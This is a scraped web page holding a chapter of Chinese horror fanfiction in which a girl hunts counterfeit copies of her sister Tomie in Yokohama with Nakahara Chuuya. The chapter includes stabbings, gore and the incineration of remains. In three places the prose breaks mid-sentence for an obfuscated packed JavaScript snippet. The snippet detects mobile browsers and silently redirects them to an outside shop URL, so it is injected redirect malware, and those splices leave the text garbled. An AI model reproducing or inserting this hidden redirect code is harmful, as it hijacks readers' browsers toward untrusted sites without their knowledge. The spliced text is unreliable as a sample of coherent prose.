TA笑眯眯地看着你们。 【没想到竟然还会有这样的意外收获啊。】TA说。 【……】你听不懂TA在说什么，但姐姐的哭闹声越来越大了。 【月江！杀了他杀了他！】 【好的，姐姐。】你脱下外套，小心把姐姐放到相对干净一点的位置。 ‘回家又要洗衣服了。’ 你有些苦恼地走向缝合线。 ………… 这次多带点衣服好了。 你这样想着，往包里压了两套不显色的黑色外套。 …… “Ciaos~” 耳边突然传来了招呼声。 你抬起头。 窗台上，穿着黑色西装的小婴儿正压着帽檐看你。 大大的脑袋，小小的身体，还有卷卷的鬓角…… 你盯着他看了一会儿。 “是樱花先生啊。”你认出了对方。 帽檐下，那双黑漆漆的眼睛似乎弯了起来。 “月江要出远门吗？”他问。 “嗯。”你点头，“姐姐让我去横滨接她。” “这样啊。”小婴儿眨了眨眼睛，“那月江这次不用担心迷路了哦。” 你困惑地歪了下脑袋。 “会有人来接你的。” 你没太理解，他却忽然换了个话题：“发卡还带着吗？” “……在的。” 你停顿了一下，从口袋里拿出了那枚淡粉色的樱花发卡。 虽然不知道有什么用，但你觉得或许和幸运物差不多，所以一直贴身带着。 “那就继续带着吧。”他压了压帽檐，“如果有需要的话，可以叫我哦。” “……？” 你还没来得及询问，樱花童子却突然消失了。 你困惑地看着手中的发卡。 这是某种召唤物吗？ 你正这么想着，手机叮咚响了一下。 你低头看去。 ［未知号码：到了以后会有人接你。］ 原来樱花童子是会预言的妖怪。 你默默记下了这个新发现。 ** “你就是川上月江？” 你刚走出车站，一道人影便突兀地停在了你的面前。 赭红色的微长发束成低低的小辫，黑色的大衣披在肩头……脖子上是项圈吗？ 你不太确定地多看了一眼。 你能感受到他正用审视的目光打量着你。 但你并不在意。 “是的。”你点点头，和他打招呼，“你好，我是川上月江。” “……”他的神情有些微妙，不过很快又恢复如常。 “你好。” 青年摘下帽子，自我介绍道：“中原中也。” 阳光落在赭红色的发丝上，颜色似乎变得更鲜艳了一点。 你忍不住多看了两眼。 “走吧。” 中原中也重新扣上帽子，转身替你拉开车门，在你上车时，还顺手帮你挡了一下车门顶。 是名绅士的先生呢。 你对横滨的印象好了不少。 “谢谢，中原先生。”你向他道谢。 “嗯。”中原中也随意应了一声，从另一侧上了车。 你抱着自己的背包坐在后座，因为里面塞了很多东西，所以稍微有点沉。 你盯着窗外和并盛完全不同的高楼，很快又想起了点别的事情。 “中原先生。”你转过头。 “嗯？” “请问你是姐姐的朋友吗？” 中原先生用钴蓝色的眼睛扫了你一眼，否定了，“不是。” 他停顿了一瞬，又说：“是首领让我来接你的。” “那首领先生，和姐姐是朋友吗？”你又问。 “……也不是。”依然是否定的答案。 ‘既然如此，那姐姐为什么会让你们来接我呢？’你的心中产生了这样的疑问。 似乎察觉到你的疑惑，中原中也沉默片刻后，还是开口解释了一句。 “你姐姐是首领……比较特殊的客人。” 特殊的客人？ 你歪了下脑袋，脑海中慢慢浮现出一个猜测。 ……难道是爱慕者？ 你顿时对那位素未谋面的首领先生多了几分亲切感。 毕竟喜欢姐姐的人，都不会是坏人。 这样想着，你决定让自己稍微外向一点。 于是你再次主动开口：“中原先生。” “又怎么了？” “请问你脖子上的那个，是项圈吗？” “哈？！”中原中也像被吓到了，声音都高了半分，“不是！” “那是装饰品吗？”你努力思考。 中原中也：“……” 他沉默几秒，有些僵硬地吐出一个词：“choker。” “原来如此。”你点点头，“中原先生是很会打扮的类型。” 中原中也的表情一时间变得非常复杂，他的嘴唇动了动，似乎想说什么，但最后又硬生生憋了回去。 你看着他的反应，稍微有点失落。 你发现自己还是不太会聊天。 看来之后应该继续努力学习《订阅男友》才行。 你认真地反省起来。 ** 路程并不算远，车很快在一栋黑色大楼前停下。 你望着面前的大楼，脑海中忽然闪过姐姐最开始发给你的那个定位。 是这里吗？ 你不是很确定。 “这边。”中原中也的声音从前方传来。 “……嗯。”你很快收回视线，背好包，快步跟了上去。 一路上，偶尔会有穿着黑西装的人经过。他们在看见中原中也后，都会立刻停下脚步，用极其恭敬的语气向他问好。 “中原先生。” “中原干部。” “辛苦了。” 原来中原先生是很厉害的人。 你想。 ………… “到了。”中原先生在一扇厚重大门前停下，侧头看向你，“你……”他微微蹙了下眉，似乎想说点什么，但最终只是道：“进去之后，不要乱动。” 你虽然不太理解，但还是点了点头。 “好的。” 厚重的大门缓缓打开。 “首领。” 中原中也摘下礼帽，放至胸前，单膝跪地，“我把川上月江带来了。” 你困惑地看着他。 这是新的问候方式吗？ 你抬起头。 一名披着红色围巾的中年男人正坐在桌后，他脸上带着温和的笑。 “辛苦了，中也君。”他说。 紫红色的眼睛朝你看了过来。 “月江君，是吗？” “……” 你没有回答，因为你的注意力完全不在他身上。 办公室角落，黑发美人正半陷在堆积如山的珠宝之间。 乌黑柔顺的长发、雪白到苍白的皮肤，还有充满魔力的泪痣。 “月江。”富江细长的眉微微蹙起，“太慢了。” 你盯着她没说话。 “你在发什么呆？”富江不高兴地问。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540528|203929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “呵呵……”桌首领先生似乎并不在意你的无视，反而笑着转头看向富江。 “富江君生气了吗？”他问。 “都是林太郎的错！”一道甜甜的萝莉音插了进来。 你这才注意到富江旁边还坐着一个金发小女孩。 她穿着鲜红色的洋裙，正在低头画画。 察觉到你的视线后，小女孩立刻把画笔一丢，哒哒哒地朝你跑了过来。 “呐呐，你就是富江的妹妹，月江吗？”她眨巴着翠绿的眼眸，抓住你的衣角，好奇地围着你转了一圈。 她又看看你，又看看富江，露出了惊讶的表情：“可你们一点也不像诶。” “……” 你没回答，目光再次缓缓移开，落回姐姐身上。 你觉得哪里有点奇怪。 可到底是哪里奇怪，你又说不上来。 “月江——” 姐姐懒洋洋地抬起了眼睛，美得有些诡异的脸上勾了一个笑容。 “——” 她手中的珠宝朝着你砸了过来。 你身旁的黑色西装晃了晃，又很快停住。 “啪嗒”一声。 有什么温热的液体在下滑。 ……破了吗？ 你没太在意，只是弯下腰，慢吞吞捡起那颗滚落在地的宝石。 是一颗很漂亮的蓝宝石。 透亮的蓝色里，又掺着一点红。 “月江。”姐姐又在叫你了。 你抬起头，拿着宝石，慢慢朝她走了过去。 拽着你衣服的手松开了。 四周到处都是散落的珠宝，踩上去有点硌脚。 不过姐姐似乎很喜欢，她咯咯地笑了起来。 “月江。” 她拉长了语调，像阴冷又缠绵的蛇类，过长的尾音缠绕在你身上。 你在她的呼唤声里，单膝跪了下来。 姐姐是世界上独一无二的美人。 所有人都会爱她。 你也一样。 柔弱的、无法自理的、阴晴不定的、喜怒无常的、善良的姐姐。 所以哪怕是冒牌货，你也会爱她。 “不要——” 在幼童的尖叫声中，你刺向姐姐的手术刀突然停住了。 你奇怪地转过了头。 你的手腕被一团红色的光牢牢缠住，完全无法动弹。 原本笑着的富江，神情骤然扭曲起来。 “我是你的姐姐，月江！！”她死死盯着你，“你认不出来吗？！” 有点难挣脱。 你苦恼地皱起眉。 虽然就这样放弃也不是不可以，但如果不处理掉冒牌货的话，姐姐之后一定又会像得不到糖果的小孩子一样哭闹很久。 抱着这样的想法，你握着刀的手，缓慢地再次向前。 红光发出细微的碎裂声。 ……阻力突然消失了。 “月江！” 姐姐尖锐的声音突然断掉。 你雪白的衬衣很快被染成了红色。 啊，又要洗衣服了。 你这样想着，低头用袖口擦了擦手术刀。 ……或许烧掉比较合适？ 你认真思考起来。 “月江你这个废物！” “月江你是我的玩偶！我的！” 地上的“富江”还在尖声咒骂。 “月江——” “……” 声音逐渐消失了。 你熟练地打扫起来。 办公室的氛围安静地有些诡异，可你并不在意。 处理垃圾才是现在最重要的事情。 ……不。 你停下手中的动作，问道：“请问首领先生，我的姐姐呢？” “不是已经被你杀掉了吗？！” 金发幼女躲在男人身后，只敢探出半个脑袋朝你喊。 你低头看了眼地上的东西，又摇了摇头。 “不是这个。”你说。 “嗯……” 披着红围巾的男人十指交叠，脸上依旧带着微笑，但那笑容似乎比刚才更深了一些。 “意思是，还有别的姐姐吗？” “很遗憾。”他说，“月江君，我们这里只有这一只‘富江’。” 10. 现实 只？ 你觉得这个量词有点奇怪。 但想到姐姐可能正因为你的迟到而越来越生气，你又觉得这种事情似乎可以之后再思考。 “那请问其他地方还有吗？”你问。 “嗯……”披着红围巾的首领先生露出了有些苦恼的表情，“其他地方的话……”他的视线忽然越过你，看向后方，“中也君有什么想法吗？” 你顺着他的话，转头看向身后的赭红发青年。 他沉默了一会儿，才开口道：“之前的确还有……一只。”他顿了下，继续说，“不过，她已经逃走了。” 逃走了？ 你不禁困惑起来。 你低头看着已经彻底安静下来的“富江”，歪了歪脑袋。 是因为姐姐不想和冒牌货待在一起吗？ 你认真思考了一会儿，觉得这或许并不是正确的答案。 “请问中原先生知道姐姐去哪里了吗？”你问。 ……是的，对现在的你而言，最重要的是找到孤身一人的姐姐。 除此之外，其他任何事情都不重要，也无需探究。 “很抱歉，我并不知道。”然而中原中也给出了令你失望的答案。 你顿时失落起来。 那姐姐会去哪里呢？ 横滨这么大。 你想，自己或许需要一个熟悉这里的人帮忙。 而像是察觉到了你的想法一样，披着红围巾的首领先生又开口了。 “月江君，”他带着温和的笑意望向你，“如果不介意的话，就让中也君陪你一起找怎么样？” “富江君的话，应该还在横滨。”他说，“中也君对这里很熟悉，应该能帮上忙。” 你微微一愣，下意识地看向中原中也。 钴蓝色的眼睛正安静地望着你，赭红色的小辫子垂落在脸侧。 …真漂亮啊。 你慢慢眨了下眼。 像一株盛开的山茶花。 热烈的。 鲜艳的。 让人移不开视线的红色。 于是你同意了。 “就拜托中原先生了。” “……啊。” ** 离开那巨大的办公室，你再次苦恼起来。 垃圾应该怎么处理呢？ 你并不知道横滨是否可以私自焚烧垃圾。 ‘若是在并盛就好了。’你垂头看着手中的黑色塑料袋，不禁产生了这样的想法，‘这样的话，只要找云雀同学就好了。’ 但这里是横滨。 所以你决定询问本地人。 “中原先生，”你转过头，问道：“请问横滨可以烧垃圾吗？” “哈？”中原中也愣了一下，目光缓缓落到黑色塑料袋上，“………” 他的神情变得有点奇怪，沉默一会儿，才开口道：“烧……东西的话，这边可以。” 他说完，转身朝走廊另一边走去。 “走吧。” “好的。”你快步跟了上去。 果然还是本地人更了解横滨啊。 你感叹着。 这样的话，应该很快就能找到姐姐了。 ………… 幸运的是，一路上并没有再遇见其他黑衣人。于是你跟着中原中也，很快来到了一间有着巨大焚化炉的屋子。 “这里可以烧东西。”他说。 你眨了下眼睛。 中原先生……似乎在很厉害的地方工作。 毕竟，这里连焚化炉都有。 “谢谢，中原先生。”你认真地向他道谢道。 中原中也盯着你看了一瞬，随后移开了视线。 “……不客气。” 焚化炉是自动化的。 你将装着垃圾的黑色袋子放上传送带，它们很快咕噜噜地向前滚动，最后掉进熊熊燃烧的火焰中。 灿金色的火焰贪婪地吞噬着来之不易的食物，空气里渐渐弥漫起烧焦的气味。 你站在原地看了一会儿。 真是方便啊。 你想。 若是并盛也有的话，那你也不需要每次都半夜麻烦云雀同学了。 想到这里，你低头看了眼自己被染红的衬衣，顿时又有些后悔。 ……早知道就提前换上黑色外套了。 你转过头。 赭红发的青年正双手抱臂倚靠在墙边，戴着黑色手套的手指轻轻点着手臂，钴蓝色的双眸安静地望着你。 察觉到你的视线后，他立即站直了身体。 “怎么了吗？”他问。 “没有。”你摇了摇头，“只是想换件衣服。” “……？”中原中也愣了一下。 他低头看了眼你身上大片染红的衣服，又缓缓抬头看向你的脸。 “………………” 你看见他慢慢睁大了眼睛。 “……可以。”他的声音有些僵硬。 说完，他立刻转过了身。 “你换吧。” 你：“…嗯。” 中原先生很热吗？ 你有些困惑地盯着他露在发丝外的耳朵。 红红的……啊。 你看着他的穿着，恍然大悟。 是因为西装吧。 毕竟黑色似乎很吸热。 你理解地点点头，随后又看向自己身上的衣服。 ……还是烧掉比较好。 这样想着，你把染红的衬衣和裤子一起脱下来，丢上传送带，又从背包里翻出新的黑色衣服换上。 果然很热。 你不禁对穿着黑色西装还能在这里待这么久的中原先生，产生了一丝敬意。 ** 虽说已经决定开始寻找姐姐，但你并没有什么头绪。因此，当中原中也询问你姐姐可能出现在哪里时，你沉默了。 姐姐喜欢珠宝。 喜欢昂贵漂亮的东西。 喜欢被所有人注视。 如果只是列举姐姐的喜好，你能够说出很多很多。但关于姐姐会去哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540529|203929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你却无从下手。 因为姐姐从不会告诉你她会去哪里。 同理，她也不会告诉你，她为什么会去那里。 你的神情渐渐苦恼起来。 “……既然这样，就先去珠宝店看看吧。” 在你的沉默中，中原中也定下了第一个目的地。 你对此没有异议，跟着他上了车。 上车后，你渐渐察觉到，中原先生似乎一直在看你。 “是有什么事情吗？”你问。 “……啊。”他沉默了一瞬，才开口。 “之前在首领办公室的时候，”他说，“你是怎么知道……她不是你的姐姐的？” “因为我觉得很奇怪。”你老实回答。 “奇怪？”中原中也蹙了下眉，“就这样？” 你点了点头。 “嗯。” ‘这未免也太草率了。’ 你从他的表情里读出了这样的意思。 于是你也开始认真思考起来。 ……为什么呢？ 为什么自己总能认出来？ 你思考了半天，却发现自己也说不出更具体的理由。 就像你知道红色是红色，白天是白天，黑夜是黑夜一样，你就是知道。 或许，这是直觉？ 你不太确定地想着。 毕竟以前家里同时出现五个姐姐的时候，你也能立刻认出真正的姐姐。 “……一次都没认错过？”中原中也忽然问。 “嗯。”你点头，“因为姐姐和其他人不一样。” 【月江，做得很好。】姐姐少有地夸奖了你。 黑发美人捧着你的脸，滑腻湿软的触感顺着伤口缓缓滑过。 【下次也要第一眼就认出我。】姐姐要求你道。 ……有点痒。 被舔过的地方湿漉漉的。 你很想抬手擦拭，但想到姐姐可能会不高兴，你又止住了动作。 你看着难得温柔的姐姐，点头。 【好的，姐姐。】 【我下次也会认出你的。】 姐姐笑了。 艳丽的脸在惨白灯光下显得愈发惊心动魄，像盛开在夜色里的曼珠沙华，糜烂，又带着诱人的香气。 【月江——】 她拖长了声音，甜腻地叫着你的名字。 【月江——】 “月江。” 你缓缓睁开眼睛。 车门已经被拉开了。 站在外面的中原中也微微低着头，阳光落在他的赭红色发丝上，泛出更加鲜艳的颜色。 “到了。”他说。 你顺着他的话朝外望去。 金碧辉煌的珠宝店门口，围满了神情恍惚的人。 有人在哭。 有人在笑。 还有人正疯狂拍打着玻璃橱窗。 无数声音正在不断重复同一个名字。 “富江。” “富江。” “富江——” 11.现实 令你失望的是，这并不是姐姐。 地面像被抹满番茄酱的披萨一样，散落着大大小小的“富江”，每个人脸上都带着陶醉的笑容。 “富江……” 一名女人跪坐在地上，小心翼翼地捧着碎块，脸颊泛着病态的潮红。 察觉到你的视线后，她立刻警觉起来。如同护食的野猫般，她慌慌张张将手里的碎块往嘴里塞。 “我的，我的……” 她死死捂住嘴，声音含糊。 “……”你身侧传来一声极轻的咂舌。 你转过头。 中原先生眉头皱得很紧，周身甚至隐隐浮动着淡红色的光。 “？”你奇怪地歪了下脑袋。 他也看向了你。 钴蓝色的双眸暗沉沉的，像暴风雨来临前压抑的海面。 “怎么了？”他问。 “没事。”你摇头，“姐姐不在这里。” “……啊。”他应了一声。 你本来想说“那去下一个地方吧”，可视线扫过满地碎块，你又苦恼起来。 就这样放着不管的话，姐姐会生气吧。 想到这里，你走上前，伸手钳住了女人的下巴。 “喂！？” 中原中也被你突如其来的动作吓了一跳，下意识出声。 “唔——？！” 女人惊恐地挣扎起来。 你没理会，掰开她的嘴，把里面的碎块取了出来。 滑腻柔软的触感黏在手指上。 ……有点脏。 你看着手指间粉色的物体，这样想道。 仿佛察觉到了你的嫌弃，那团东西不满地扭动了一下，顺着你的手指慢慢爬动起来。 店中还有几人也正在拼命吞食着碎块，哪怕腹部已经鼓胀起来，他们也没停下动作。 “富江……” 他们迷恋地念着姐姐的名字。 你盯着它看了一会儿。 “姐姐。”你说，“可以自己聚到一起吗？” 碎块停顿了一瞬。 随后开始缓慢蠕动。 “呕——” 店里接二连三地响起了干呕声。 那些刚才还满脸痴迷的人，痛苦地捂住嘴。 你面前的女人也是。 她紧紧捂着嘴，不断吞咽，口水顺着指缝往下淌，却还是控制不住地弯下腰干呕起来。 “富江……” “我的富江……！” “还给我……！” 哭喊声越来越大，而地上的碎块却像听见召唤般，开始聚集、黏连，一点点重新拼合起来。 “月江。”熟悉的声音响起。 你低下头。 美丽的头颅正仰望着你。 如白瓷般洁白的手臂带着黏糊的液体，拉住了你的衣角。 “月江，太慢了。”姐姐的脸上带着不满，“快把这些冒牌货杀掉。” “好的，姐姐。” 你点点头，安静完成她的要求。 “————！！” 忽然有人尖叫着扑了过来。 “咚” “砰” 接连几声闷响。 你转过头。 赭红发的青年正踩着几个试图扑过来的男人，帽檐下的神情有些阴沉。 他的目光扫过满地狼藉，又落回你身上。 “好了？”他的语气有点复杂。 “嗯。”你认真将周围清理干净后，抬头看他。 “我们换个地方吧，中原先生。” “姐姐不在这里。” “啊。”中原中也收回脚，随后目光落到你手中的黑色袋子上。 “这个……” “垃圾。”你回答道，“烧掉就好了。” 中原中也抬手压了压帽檐。 “先处理掉吧。”他的语气有些微妙。 “嗯。”你对此没有异议。 因为处理垃圾而稍微晚了一点的话，姐姐应该可以理解吧？……而且说不定姐姐等久了，会主动联系你呢。 你苦中作乐地安慰自己。 ** 然而直到你处理完垃圾，甚至换了套衣服，跟着中原先生到他办公室，也依然没有收到姐姐联系你的消息。 姐姐到底会去哪里呢？ 你盯着茶几上的机车摆件，陷入苦恼。 “……这个是下属送的。”一道声音忽然从旁边传来。 你慢吞吞回过神，抬起头。 中原中也已经脱下了外套，此刻只穿着衬衫和马甲，正在挽袖子。被黑色皮质手套包裹着的手指，灵巧地翻动着，很快露出了一截纤细但紧实的小臂。 ……似乎比龙马的手腕还细一点。 你眨了下眼睛。 “我让人送便当过来了。”钴蓝色的双眸望向你，“条件有限。”他顿了下，又说，“下次再请你吃饭吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541899|203929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “嗯。”你点了点头。 虽然你有些饥饿，但你其实并不怎么在意餐食是否精致。 对你而言，进食与其说是享受，不如说是维持生存的必要行为。 只要能填饱肚子就好了。 你这么想着，继续盯着桌面发呆。 空旷的茶几上除了机车摆件，还放着一只细长花瓶，里面插着几枝樱花。 粉白色的花瓣簇拥着嫩黄的花蕊，娇羞地垂着脑袋。 【如果有需要的话，可以叫我哦。】 脑海中忽然闪过这样的话。 啊，樱花先生。 你后知后觉地想了起来。 既然樱花先生能提前知道会有人接你，那应该也知道姐姐在哪里吧？ 你不太确定地从包中拿出了那枚樱花发卡。 “发卡？”中原中也注意到了你的动作。 “嗯。” 你思考了下，又拿出一枚五円硬币，一起摆好。 中原中也沉默地看着你。 “樱花先生，你知道姐姐在哪里吗？”你问。 ……然而没有任何反应。 你又耐心等了几秒。 ……依旧什么都没发生。 你：“……” 中原中也：“……” 你把发卡和硬币收了起来。 “樱花先生也不知道。”你遗憾地说。 中原中也嘴角轻微抽了一下，似乎很想说点什么，但沉默了一会儿，却只是回道：“先吃饭吧。” 你点了点头。 然而午餐才刚送进来没多久，门外忽然响起急促的敲门声 “进。” 一名黑西装成员快步走了进来，神情紧绷。 “中原干部，西区拍卖会那边出事了。” “现场有人互相攻击，已经失控。” “目击者说，”黑西装成员咽了下口水，“那个女人又出现了。” 你转过头：“又？” 中原中也沉默了片刻，才缓缓点头。 “最开始，富江就是在那里出现的。” “首领参加一场私人珠宝拍卖会的时候。” 姐姐喜欢珠宝，所以这个答案并不让你意外。 “拍卖会发生了什么？”你问。 中原中也的神情沉了下来。 “一群人疯了。”他低声道，“他们互相攻击——为了抢她。”